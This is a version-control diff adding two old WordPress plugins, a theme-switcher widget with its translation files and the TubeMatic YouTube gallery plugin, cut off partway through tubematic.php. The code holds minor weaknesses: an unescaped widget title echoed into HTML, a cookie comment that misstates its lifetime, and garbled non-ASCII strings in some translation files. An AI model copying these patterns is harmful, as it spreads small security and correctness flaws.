+
+function widget_themeswitcher_init() {
+
+	// Check for the required plugin functions. This will prevent fatal
+	// errors occurring when you deactivate the dynamic-sidebar plugin.
+	if ( !function_exists('register_sidebar_widget') ) {
+		return;
+	}
+	
+	load_plugin_textdomain('ts_theme_switcher', 'wp-content/plugins/theme-switcher-reloaded');
+	
+	function ts_set_theme_cookie() {
+			$expire = time() + 3600*1000; // cookie set to expire in 1 hour
+			if (!empty($_GET["wptheme"])) {
+					setcookie("wptheme" . COOKIEHASH,
+															stripslashes($_GET["wptheme"]),
+															$expire,
+															COOKIEPATH
+															);
+
+					$redirect = get_settings('home').'/';
+
+					/*if (function_exists('wp_redirect'))
+							wp_redirect($redirect);
+					else
+							header("Location: ". $redirect);
+
+					exit;*/
+			}
+	}
+
+	function ts_get_theme() {
+			if (!empty($_GET["wptheme"])) 
+				return 	$_GET["wptheme"];
+			else 
+			if (!empty($_COOKIE["wptheme" . COOKIEHASH])) {
+					return $_COOKIE["wptheme" . COOKIEHASH];
+			}        else {
+					return '';
+			}
+	}
+
+	function ts_get_template($template) {
+			$theme = ts_get_theme();
+
+			if (empty($theme)) {
+					return $template;
+			}
+
+			$theme = ts_get_one_theme($theme);
+			
+			if (empty($theme)) {
+					return $template;
+			}
+
+			// Don't let people peek at unpublished themes.
+			if (isset($theme['Status']) && $theme['Status'] != 'publish')
+					return $template;                
+
+			return $theme['Template'];
+	}
+
+	function ts_get_stylesheet($stylesheet) {
+			$theme = ts_get_theme();
+
+			if (empty($theme)) {
+					return $stylesheet;
+			}
+
+			$theme = ts_get_one_theme($theme);
+
+			// Don't let people peek at unpublished themes.
+			if (isset($theme['Status']) && $theme['Status'] != 'publish')
+					return $stylesheet;                
+			
+			if (empty($theme)) {
+					return $stylesheet;
+			}
+
+			return $theme['Stylesheet'];
+	}
+
+	function wp_theme_switcher($style = "dropdown") {
+			$themes = ts_get_all_themes();
+
+			$selected_theme = ts_get_theme();
+			
+			$default_theme = ts_get_current_theme();
+
+			if (count($themes) > 1) {
+					$theme_names = array_keys($themes);
+					natcasesort($theme_names);
+
+					$ts = '<ul id="themeswitcher">'."\n";                
+
+					if ($style == 'dropdown') {
+							$ts .= '<li>'."\n"
+									. '       <select style="width:140px" name="themeswitcher" onchange="location.href=\''.get_settings('home').'/index.php?wptheme=\' + this.options[this.selectedIndex].value;">'."\n"        ;
+
+							foreach ($theme_names as $theme_name) {
+									// Skip unpublished themes.
+									if (isset($themes[$theme_name]['Status']) && $themes[$theme_name]['Status'] != 'publish')
+											continue;
+											
+									if ((!empty($selected_theme) && $selected_theme == $theme_name)
+													|| (empty($selected_theme) && ($theme_name == $default_theme))) {
+											$ts .= '               <option value="'.$theme_name.'" selected="selected">'
+													. htmlspecialchars($theme_name)
+													. '</option>'."\n"
+													;
+									}        else {
+											$ts .= '               <option value="'.$theme_name.'">'
+													. htmlspecialchars($theme_name)
+													. '</option>'."\n"
+													;
+									}                                
+							}
+							$ts .= '       </select>'."\n"
+									. '</li>'."\n"
+									;
+					}        else {
+							foreach ($theme_names as $theme_name) {
+									// Skip unpublished themes.
+									if (isset($themes[$theme_name]['Status']) && $themes[$theme_name]['Status'] != 'publish')
+											continue;
+
+									$display = htmlspecialchars($theme_name);
+									
+									if ((!empty($selected_theme) && $selected_theme == $theme_name)
+													|| (empty($selected_theme) && ($theme_name == $default_theme))) {
+											$ts .= '       <li>'.$display.'</li>'."\n";
+									}        else {
+											$ts .= '       <li><a href="'
+													.get_settings('home').'/'. 'index.php'
+													.'?wptheme='.urlencode($theme_name).'">'
+													.$display.'</a></li>'."\n";
+									}
+							}
+					}
+					$ts .= '</ul>';
+			}
+
+			echo $ts;
+	}
+
+	ts_set_theme_cookie();
+
+	add_filter('template', 'ts_get_template');
+	add_filter('stylesheet', 'ts_get_stylesheet');
+	
+	// This is the function that outputs our little Google search form.
+	function widget_themeswitcher($args) {
+		
+		// $args is an array of strings that help widgets to conform to
+		// the active theme: before_widget, before_title, after_widget,
+		// and after_title are the array keys. Default tags: li and h2.
+		extract($args);
+
+		// Each widget can store its own options. We keep strings here.
+		$options = get_option('widget_themeswitcher');
+		$displayStyle = $options['displayStyle'];
+		$title = $options['Title'];
+
+		// These lines generate our output. Widgets can be very complex
+		// but as you can see here, they can also be very, very simple.
+		echo $before_widget . $before_title . $title . $after_title;
+
+		if($displayStyle=='dropdown') {
+			wp_theme_switcher('dropdown');
+		}
+		else {
+			wp_theme_switcher('list');
+		}
+		
+		echo $after_widget;
+	}
+
+	function widget_themeswitcher_control() {
+
+		// Get our options and see if we're handling a form submission.
+		$options = get_option('widget_themeswitcher');
+		if ( !is_array($options) ) {
+			$options = array('Title'=>__('Theme Switcher', 'ts_theme_switcher'), 'displayStyle'=>'dropdown', 'displayName'=>'full');
+			update_option('widget_themeswitcher', $options);
+		}
+		if ( $_POST['themeswitcher-submit'] ) {
+
+			// Remember to sanitize and format use input appropriately.
+			$options['displayStyle'] = strip_tags(stripslashes($_POST['themeswitcher-display']));
+			$options['displayName'] = strip_tags(stripslashes($_POST['themeswitcher-name']));
+			$options['Title'] = $_POST['themeswitcher-title'];
+			update_option('widget_themeswitcher', $options);
+		}
+
+		// Be sure you format your options to be valid HTML attributes.
+		$displayStyle = htmlspecialchars($options['displayStyle'], ENT_QUOTES);		
+		$displayName = htmlspecialchars($options['displayName'], ENT_QUOTES);		
+		
+		// Here is our little form segment. Notice that we don't need a
+		// complete form. This will be embedded into the existing form.
+		echo '<h4>'.__('Display style:', 'ts_theme_switcher').'</h4>';
+		echo '<p><label for="themeswitcher-title">'.__('Title', 'ts_theme_switcher').': </label>';		
+		echo '<input id="themeswitcher-title" name="themeswitcher-title" type="text" value="'.$options['Title'].'" /></p>';
+		echo '<p><input id="themeswitcher-display0" name="themeswitcher-display" type="radio" value="list"';
+		if($displayStyle=='list') {
+			echo ' checked="checked"';
+		}
+		echo ' /><label for="themeswitcher-display0">'.__('List', 'ts_theme_switcher').'</label></p>';
+		echo '<p><input id="themeswitcher-display1" name="themeswitcher-display" type="radio" value="dropdown"';
+		if($displayStyle=='dropdown') {
+			echo ' checked="checked"';
+		}
+		echo ' /><label for="themeswitcher-display1">'.__('Drop-Down', 'ts_theme_switcher').'</label></p>';
+		
+		echo '<p><label for="themeswitcher-name0">'.__('Display theme names in ', 'ts_theme_switcher').': </label>';
+		echo '<p><input id="themeswitcher-name0" name="themeswitcher-name" type="radio" value="full"';
+		if($displayName=='full') {
+			echo ' checked="checked"';
+		}
+		echo ' /><label for="themeswitcher-name1">'.__('full name (default option)', 'ts_theme_switcher').'</label></p>';
+		echo '<p><input id="themeswitcher-name1" name="themeswitcher-name" type="radio" value="short"';
+		if($displayName=='short') {
+			echo ' checked="checked"';
+		}
+		echo ' /><label for="themeswitcher-display1">'.__('short name (faster loading)', 'ts_theme_switcher').'</label></p>';
+		echo '<input type="hidden" id="themeswitcher-submit" name="themeswitcher-submit" value="1" />';		
+	}
+
+	
+		// This registers our widget so it appears with the other available
+	// widgets and can be dragged and dropped into any active sidebars.
+	register_sidebar_widget(__('Theme Switcher', 'ts_theme_switcher'), 'widget_themeswitcher');
+
+	// This registers our optional widget control form. Because of this
+	// our widget will have a button that reveals a 300x150 pixel form.
+	register_widget_control(__('Theme Switcher', 'ts_theme_switcher'), 'widget_themeswitcher_control', 300, 250);
+
+}
+
+// Run our code later in case this loads prior to any required plugins.
+add_action('plugins_loaded', 'widget_themeswitcher_init');
+
+// helper function to look only at folder names, not loading the style.css files for performance.
+function ts_get_all_themes() {
+	global $ts_themes, $ts_broken_themes;
+
+	if ( isset($ts_themes) )
+		return $ts_themes;
+
+	// check the option for displaying full names or short names
+	$options = get_option('widget_themeswitcher');
+	$displayName = htmlspecialchars($options['displayName'], ENT_QUOTES);
+	if($displayName=='full')
+		return get_themes();
+
+	$themes = array();
+	$ts_broken_themes = array();
+	$theme_loc = $theme_root = get_theme_root();
+	if ( '/' != ABSPATH ) // don't want to replace all forward slashes, see Trac #4541
+		$theme_loc = str_replace(ABSPATH, '', $theme_root);
+
+	// Files in wp-content/themes directory and one subdir down
+	$themes_dir = @ opendir($theme_root);
+	if ( !$themes_dir )
+		return false;
+
+	while ( ($theme_dir = readdir($themes_dir)) !== false ) {
+		if ( is_dir($theme_root . '/' . $theme_dir) && is_readable($theme_root . '/' . $theme_dir) ) {
+			if ( $theme_dir{0} == '.' || $theme_dir == '..' || $theme_dir == 'CVS' )
+				continue;
+			$stylish_dir = @ opendir($theme_root . '/' . $theme_dir);
+			$found_stylesheet = false;
+			while ( ($theme_file = readdir($stylish_dir)) !== false ) {
+				if ( $theme_file == 'style.css' ) {
+					$theme_files[] = $theme_dir . '/' . $theme_file;
+					$found_stylesheet = true;
+					break;
+				}
+			}
+			@closedir($stylish_dir);
+			if ( !$found_stylesheet ) { // look for themes in that dir
+				$subdir = "$theme_root/$theme_dir";
+				$subdir_name = $theme_dir;
+				$theme_subdir = @ opendir( $subdir );
+				while ( ($theme_dir = readdir($theme_subdir)) !== false ) {
+					if ( is_dir( $subdir . '/' . $theme_dir) && is_readable($subdir . '/' . $theme_dir) ) {
+						if ( $theme_dir{0} == '.' || $theme_dir == '..' || $theme_dir == 'CVS' )
+							continue;
+						$stylish_dir = @ opendir($subdir . '/' . $theme_dir);
+						$found_stylesheet = false;
+						while ( ($theme_file = readdir($stylish_dir)) !== false ) {
+							if ( $theme_file == 'style.css' ) {
+								$theme_files[] = $subdir_name . '/' . $theme_dir . '/' . $theme_file;
+								$found_stylesheet = true;
+								break;
+							}
+						}
+						@closedir($stylish_dir);
+					}
+				}
+				@closedir($theme_subdir);
+				$ts_broken_themes[$theme_dir] = array('Name' => $theme_dir, 'Title' => $theme_dir, 'Description' => __('Stylesheet is missing.'));
+			}
+		}
+	}
+	@closedir($theme_dir);
+
+	if ( !$themes_dir || !$theme_files )
+		return $themes;
+
+	sort($theme_files);
+
+	foreach ( (array) $theme_files as $theme_file ) {
+		if ( !is_readable("$theme_root/$theme_file") ) {
+			$ts_broken_themes[$theme_file] = array('Name' => $theme_file, 'Title' => $theme_file, 'Description' => __('File not readable.'));
+			continue;
+		}
+
+		$name        = dirname($theme_file);
+		$title       = dirname($theme_file);
+		$template    = trim(dirname($theme_file));
+		$stylesheet  = dirname($theme_file);
+
+		if ( !file_exists("$theme_root/$template/index.php") ) {
+			$parent_dir = dirname(dirname($theme_file));
+			if ( file_exists("$theme_root/$parent_dir/$template/index.php") ) {
+				$template = "$parent_dir/$template";
+			} else {
+				$ts_broken_themes[$name] = array('Name' => $name, 'Title' => $title, 'Description' => __('Template is missing.'));
+				continue;
+			}
+		}
+
+		// Check for theme name collision.  This occurs if a theme is copied to
+		// a new theme directory and the theme header is not updated.  Whichever
+		// theme is first keeps the name.  Subsequent themes get a suffix applied.
+		// The Default and Classic themes always trump their pretenders.
+		if ( isset($themes[$name]) ) {
+			if ( ('default' == $name || 'classic' == $name) &&
+					 ('default' == $stylesheet || 'classic' == $stylesheet) ) {
+				// If another theme has claimed to be one of our default themes, move
+				// them aside.
+				$suffix = $themes[$name]['Stylesheet'];
+				$new_name = "$name/$suffix";
+				$themes[$new_name] = $themes[$name];
+				$themes[$new_name]['Name'] = $new_name;
+			} else {
+				$name = "$name/$stylesheet";
+			}
+		}
+
+		$themes[$name] = array('Name' => $name, 'Title' => $title, 'Template' => $template, 'Stylesheet' => $stylesheet, 'Status' => 'publish');
+	}
+
+	// Resolve theme dependencies.
+	$theme_names = array_keys($themes);
+
+	foreach ( (array) $theme_names as $theme_name ) {
+		$themes[$theme_name]['Parent Theme'] = '';
+		if ( $themes[$theme_name]['Stylesheet'] != $themes[$theme_name]['Template'] ) {
+			foreach ( (array) $theme_names as $parent_theme_name ) {
+				if ( ($themes[$parent_theme_name]['Stylesheet'] == $themes[$parent_theme_name]['Template']) && ($themes[$parent_theme_name]['Template'] == $themes[$theme_name]['Template']) ) {
+					$themes[$theme_name]['Parent Theme'] = $themes[$parent_theme_name]['Name'];
+					break;
+				}
+			}
+		}
+	}
+
+	$ts_themes = $themes;
+
+	return $themes;
+}
+
+// helper function to get the current theme/template from the database
+function ts_get_current_theme() {
+	$themes = ts_get_all_themes();
+	$theme_names = array_keys($themes);
+	$current_template = get_option('template');
+	$current_stylesheet = get_option('stylesheet');
+	
+	// check the option for displaying full names or short names
+	$options = get_option('widget_themeswitcher');
+	$displayName = htmlspecialchars($options['displayName'], ENT_QUOTES);
+	if($displayName=='full')				
+		$current_theme = 'WordPress Default';
+	else
+		$current_theme = 'default';
+
+	if ( $themes ) {
+		foreach ( (array) $theme_names as $theme_name ) {
+			if ( $themes[$theme_name]['Stylesheet'] == $current_stylesheet &&
+					$themes[$theme_name]['Template'] == $current_template ) {
+				$current_theme = $themes[$theme_name]['Name'];
+				break;
+			}
+		}
+	}
+
+	return $current_theme;
+}
+
+// helper function to replace get_theme()
+function ts_get_one_theme($theme) {
+	$themes = ts_get_all_themes();
+
+	if ( array_key_exists($theme, $themes) )
+		return $themes[$theme];
+
+	return NULL;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher-eo.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher-eo.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher-eo.po	(revision 44)
@@ -0,0 +1,61 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-02-20 00:30-0800\n"
+"PO-Revision-Date: 2008-04-22 13:15-0600\n"
+"Last-Translator: Cindy McKee <cfmckee@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: theme-switcher-reloaded.php:202
+#: theme-switcher-reloaded.php:251
+#: theme-switcher-reloaded.php:255
+msgid "Theme Switcher"
+msgstr "Etosa ÅanÄilo"
+
+#: theme-switcher-reloaded.php:220
+msgid "Display style:"
+msgstr "Montra stilo:"
+
+#: theme-switcher-reloaded.php:221
+msgid "Title"
+msgstr "Titolo"
+
+#: theme-switcher-reloaded.php:227
+msgid "List"
+msgstr "Listo"
+
+#: theme-switcher-reloaded.php:232
+msgid "Drop-Down"
+msgstr "Falmenuo"
+
+#: theme-switcher-reloaded.php:234
+msgid "Display theme names in "
+msgstr "Montri etosonomojn en"
+
+#: theme-switcher-reloaded.php:239
+msgid "full name (default option)"
+msgstr "Plena nomo (la defaÅ­lta opcio)"
+
+#: theme-switcher-reloaded.php:244
+msgid "short name (faster loading)"
+msgstr "Mallonga nomo (Åargas pli rapide)"
+
+#: theme-switcher-reloaded.php:321
+msgid "Stylesheet is missing."
+msgstr "Stilfolio mankas"
+
+#: theme-switcher-reloaded.php:334
+msgid "File not readable."
+msgstr "Ne povas legi dosieron"
+
+#: theme-switcher-reloaded.php:348
+msgid "Template is missing."
+msgstr "Etoso mankas."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher-it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher-it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher-it_IT.po	(revision 44)
@@ -0,0 +1,63 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Theme Switcher Reload\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-02-20 00:30-0800\n"
+"PO-Revision-Date: 2008-02-20 20:53+0100\n"
+"Last-Translator: terzobit <info@terzobit.it>\n"
+"Language-Team: themebot.com - www.terzobit.it <info@terzobit.it>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: theme-switcher-reloaded.php:202
+#: theme-switcher-reloaded.php:251
+#: theme-switcher-reloaded.php:255
+msgid "Theme Switcher"
+msgstr "Theme Switcher"
+
+#: theme-switcher-reloaded.php:220
+msgid "Display style:"
+msgstr "Impostazioni di visualizzazione:"
+
+#: theme-switcher-reloaded.php:221
+msgid "Title"
+msgstr "Titolo del widget"
+
+#: theme-switcher-reloaded.php:227
+msgid "List"
+msgstr "Mostra lista dei temi"
+
+#: theme-switcher-reloaded.php:232
+msgid "Drop-Down"
+msgstr "Mostra un menÃ¹ a tendina dei temi"
+
+#: theme-switcher-reloaded.php:234
+msgid "Display theme names in "
+msgstr "Mostra il nome del template come"
+
+#: theme-switcher-reloaded.php:239
+msgid "full name (default option)"
+msgstr "Nome completo (opzione predefinita)"
+
+#: theme-switcher-reloaded.php:244
+msgid "short name (faster loading)"
+msgstr "Nome breve (piÃ¹ veloce)"
+
+#: theme-switcher-reloaded.php:321
+msgid "Stylesheet is missing."
+msgstr "Manca il foglio di stile CSS."
+
+#: theme-switcher-reloaded.php:334
+msgid "File not readable."
+msgstr "File non leggibile."
+
+#: theme-switcher-reloaded.php:348
+msgid "Template is missing."
+msgstr "Template mancante."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher-zh_CN.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher-zh_CN.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher-zh_CN.po	(revision 44)
@@ -0,0 +1,63 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-02-20 00:29-0800\n"
+"PO-Revision-Date: 2008-02-20 00:30-0800\n"
+"Last-Translator: \n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: theme-switcher-reloaded.php:202
+#: theme-switcher-reloaded.php:251
+#: theme-switcher-reloaded.php:255
+msgid "Theme Switcher"
+msgstr "Theme Switcher"
+
+#: theme-switcher-reloaded.php:220
+msgid "Display style:"
+msgstr "äž»é¢åè¡šæŸç€ºæš¡åŒ:"
+
+#: theme-switcher-reloaded.php:221
+msgid "Title"
+msgstr "æ é¢"
+
+#: theme-switcher-reloaded.php:227
+msgid "List"
+msgstr "æå­æž
+å"
+
+#: theme-switcher-reloaded.php:232
+msgid "Drop-Down"
+msgstr "äžæèå"
+
+#: theme-switcher-reloaded.php:234
+msgid "Display theme names in "
+msgstr "äž»é¢åç§°çæŸç€ºæš¡åŒ"
+
+#: theme-switcher-reloaded.php:239
+msgid "full name (default option)"
+msgstr "å
+šç§° (é»è®€)"
+
+#: theme-switcher-reloaded.php:244
+msgid "short name (faster loading)"
+msgstr "ç®ç­å (éåºŠäŒå)"
+
+#: theme-switcher-reloaded.php:321
+msgid "Stylesheet is missing."
+msgstr ""
+
+#: theme-switcher-reloaded.php:334
+msgid "File not readable."
+msgstr ""
+
+#: theme-switcher-reloaded.php:348
+msgid "Template is missing."
+msgstr ""
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher.pot	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/ts_theme_switcher.pot	(revision 44)
@@ -0,0 +1,61 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-02-20 00:30-0800\n"
+"PO-Revision-Date: 2008-02-20 00:30-0800\n"
+"Last-Translator: \n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: theme-switcher-reloaded.php:202
+#: theme-switcher-reloaded.php:251
+#: theme-switcher-reloaded.php:255
+msgid "Theme Switcher"
+msgstr ""
+
+#: theme-switcher-reloaded.php:220
+msgid "Display style:"
+msgstr ""
+
+#: theme-switcher-reloaded.php:221
+msgid "Title"
+msgstr ""
+
+#: theme-switcher-reloaded.php:227
+msgid "List"
+msgstr ""
+
+#: theme-switcher-reloaded.php:232
+msgid "Drop-Down"
+msgstr ""
+
+#: theme-switcher-reloaded.php:234
+msgid "Display theme names in "
+msgstr ""
+
+#: theme-switcher-reloaded.php:239
+msgid "full name (default option)"
+msgstr ""
+
+#: theme-switcher-reloaded.php:244
+msgid "short name (faster loading)"
+msgstr ""
+
+#: theme-switcher-reloaded.php:321
+msgid "Stylesheet is missing."
+msgstr ""
+
+#: theme-switcher-reloaded.php:334
+msgid "File not readable."
+msgstr ""
+
+#: theme-switcher-reloaded.php:348
+msgid "Template is missing."
+msgstr ""
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubematic/config.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubematic/config.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubematic/config.php	(revision 44)
@@ -0,0 +1,6 @@
+<?php
+      $tm_views_label='Visualizzazioni: '; // Views label
+      $tm_duration_label='Durata: '; // length label
+      $tm_datetime_filer='%d/%m/%Y %I:%M %P'; // date format
+      $tm_by_label='by GuidoniaPuntoNet '; 
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubematic/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubematic/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubematic/readme.txt	(revision 44)
@@ -0,0 +1,119 @@
+=== TubeMatic ===
+Contributors: redazionegriido
+Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=QRLJTAUPEC98U&lc=IT&item_name=Griido%2eit%20Plugin%20Tubematic&currency_code=EUR&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted
+Tags: RSS, feed, video, YouTube, TubeMatic, Google, API, gdata 
+Requires at least: 2.5
+Tested up to: 2.7.1
+Stable tag: trunk
+
+This plugin is made for easily embedding videos into a blog post or page.
+
+== Description ==
+
+TubeMatic is a WordPress plugin that allows you to easily insert Youtube videos into your post or page. The plugin is designed to be small and fast.
+What you need is to specify keywords and/or a channel name. The plugin gets the RSS feed available form YouTube, parses it and makes a video gallery with thumbnails, statistics and links to videos and yt users.
+You don't need to update videos on your posts or pages, TubeMatic automatically makes that for you.
+You also do not need a YouTube API developers ID.
+Required PHP 5 or greater.
+
+== Installation ==
+
+###Updgrading From A Previous Version###
+
+To upgrade from a previous version of this plugin, delete the entire folder and files from the previous version of the plugin and then follow the installation instructions below.
+
+###Installing The Plugin###
+
+Extract all files from the ZIP file, making sure to keep the file structure intact, and then upload it to `/wp-content/plugins/`.
+
+This should result in the following file structure:
+
+`- wp-content
+    - plugins
+        - tubematic
+            | readme.txt
+            | config.php
+            | tubematic.php`            
+
+Then just visit your admin area and activate the plugin.
+
+**See Also:** ["Installing Plugins" article on the WP Codex](http://codex.wordpress.org/Managing_Plugins#Installing_Plugins)
+
+== Frequently Asked Questions ==
+
+= How do I use TubeMatic? =
+
+First of all, you need to insert the [tubematic] token into any page or post.  
+
+*Use apostrophes ('') to enclose each parameter value.*
+ 
+The paramaters are as follows:
+
+**type** - this parameter can have one of this value: *uploads* or *category* or *searchfeed*
+Please use:
+*uploads* to get the latest videos from a channel or only the videos that match your keywords
+*category* to search videos in a category
+*freesearch* to search videos starting from keywords
+There isn't a default value.
+
+**query** - this parameter is the name of yt channel (required if use type='category' or type='uploads') 
+There isn't a default value.
+
+**limit** - the maximum number of items in the output grid
+The default value is '6'.
+
+**orderby** - this parameter specifies the value that will be used to sort videos in the search result set
+Valid values for this parameter are *updated* or *rating* or *relevance* or *published* or *viewCount*.
+The default value for this parameter is *viewCount*.
+
+**spanrow** - this is the maximum number of columns of the gallery (the gallery is a table with rows and columns)
+The default value for this parameter is '3'.
+
+**keys** - this parameter specifies a search query term. 
+YouTube will search all video metadata for videos matching the term. 
+Video metadata includes titles, keywords, descriptions, authors' usernames, and categories.
+To search for an exact phrase, enclose the phrase in quotation marks.
+There isn't a default value.
+
+**lr** - this parameter restricts the search to videos that have a title, description or keywords in a specific language. 
+Valid values for the lr parameter are ISO 639-1 two-letter language codes (http://www.loc.gov/standards/iso639-2/php/code_list.php).  
+You can also use the values zh-Hans for simplified Chinese and zh-Hant for traditional Chinese.
+There isn't a default value.
+
+**showtitle** - *y* or *n* (show video title?)
+The default value for this parameter is 'y'.
+
+**showdate** - *y* or *n* (show date added to YouTube?)
+The default value for this parameter is 'y'.
+
+**showuser** - *y* or *n* (show user byline?)
+The default value for this parameter is 'y'.
+
+**showcount** - *y* or *n* (show views?)
+The default value for this parameter is 'y'.
+
+Here's some samples:
+
+*[tubematic type='uploads' query='seostrategy' limit='3' spanrow='2' showuser='n']*
+
+*[tubematic type='category' query='seo strategy' limit='3' showuser='n' orderby='published']*
+
+*[tubematic type='searchfeed' keys='google maps' limit='5']*
+
+= Plug-in Customization =
+
+Edit the config.php script file to customize the plugin (i.e. translate labels, change date format).
+
+= I love your plugin! Can I donate to you? =
+
+Sure! I do this in my free time and I appreciate all donations that I get. It makes me want to continue to update this plugin. You can find more details on [my donate page](http://www.griido.it/donazione/).
+
+**Also appreciated** a valuable backlink (thematic and PR>=3) to our Griido.it magazine. To share details, please email us to redazione@griido.it.
+
+== ChangeLog ==
+
+**Version 1.0.0**
+
+* Initial release.
+
+[Plugin Homepage](http://www.griido.it/tubematic-plugin-wordpress/ "Plugin Homepage")
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubematic/tubematic.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubematic/tubematic.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubematic/tubematic.php	(revision 44)
@@ -0,0 +1,151 @@
+<?php
+/*
+Plugin Name: TubeMatic
+Plugin URI: http://www.griido.it/tubematic-plugin-wordpress/
+Description: This plugin is made for automatically embedding videos into a blog post or page.  
+Author: Redazione di Griido.it
+Version: 1.0
+Author URI: http://www.griido.it/
+*/
+
+require_once("config.php");
+
+function shortcode_tubematic($attr = array(), $content = NULL) {  
+  global $tm_views_label, $tm_duration_label, $tm_datetime_filer, $tm_by_label;
+  $showtitle=TRUE;
+  $showdate=TRUE;
+  $showcount=TRUE;
+  $showuser=TRUE;
+  $type="";
+  $limit=6;
+  $spanrow=3;
+  $lr='';
+  
+  if (isset($attr['query'])){$q = ereg_replace('[[:space:]]+', '/', trim(strtolower($attr['query'])));}
+  if (isset($attr['limit'])){$limit = (integer) $attr['limit'];} 
+  if (isset($attr['spanrow'])){$spanrow = (integer) $attr['spanrow'];}
+  if (isset($attr['type'])){$type = strtolower($attr['type']);}
+  if (isset($attr['orderby'])){$orderby = strtolower($attr['orderby']);}  	  
+  if (isset($attr['keys'])){$keys = urlencode(trim(strtolower($attr['keys'])));}
+  if (isset($attr['showtitle'])){if(strtolower($attr['showtitle'])=='n'){$showtitle=FALSE;}} 
+  if (isset($attr['showdate'])){if(strtolower($attr['showdate'])=='n'){$showdate=FALSE;}} 
+  if (isset($attr['showcount'])){if(strtolower($attr['showcount'])=='n'){$showcount=FALSE;}} 
+  if (isset($attr['showuser'])){if(strtolower($attr['showuser'])=='n'){$showuser=FALSE;}} 
+  if (isset($attr['lr'])){$lr = strtolower($attr['lr']);}
+
+  if ($spanrow>0) $spanrow--; else $spanrow=2;
+  if ($limit<=0) $limit=6;
+            
+  switch ($type) {
+    //The latest videos from a channel or only the videos that match your keywords    
+    case "uploads":
+      $feedURL=tubematic_composeurl("http://gdata.youtube.com/feeds/api/users/$q/uploads",$limit,$orderby,$lr);                     
+      /*
+      use this parameter to create a filter for a feed. Obtain only the videos that contain your query in the metadata (title, tags, description).
+      */
+      if (!empty($keys)) $feedURL.="&q=$keys";
+    break;
+    // Search in a category
+    case "category":    
+      $feedURL = tubematic_composeurl("http://gdata.youtube.com/feeds/api/videos/-/{$q}",$limit,$orderby,$lr);      
+      break;
+    // Search feeds
+    case "searchfeed":        
+      $feedURL = tubematic_composeurl("http://gdata.youtube.com/feeds/api/videos",$limit,$orderby,$lr);                     
+      /*
+      use this parameter to create a filter for a feed. Obtain only the videos that contain your query in the metadata (title, tags, description).
+      */
+      if (!empty($keys)) $feedURL.="&q=$keys";
+      break;            
+    default:
+      $feedURL="";
+      break;
+  }
+    
+  if (empty($feedURL)) return ""; // nothing to do
+  
+  // read feed into SimpleXML object
+  $sxml = @simplexml_load_file($feedURL);
+  //echo $sxml->title;
+  //iterate over entries in feed
+  $span=0;
+  $vg.="<table>";    
+  
+  if (!$sxml) return ""; // uhm.. something was bad
+  
+  foreach ($sxml->entry as $entry) {    
+    
+    // get date
+    $published=$entry->published;
+          
+    // get nodes in media: namespace for media information
+    $media = $entry->children('http://search.yahoo.com/mrss/');
+    
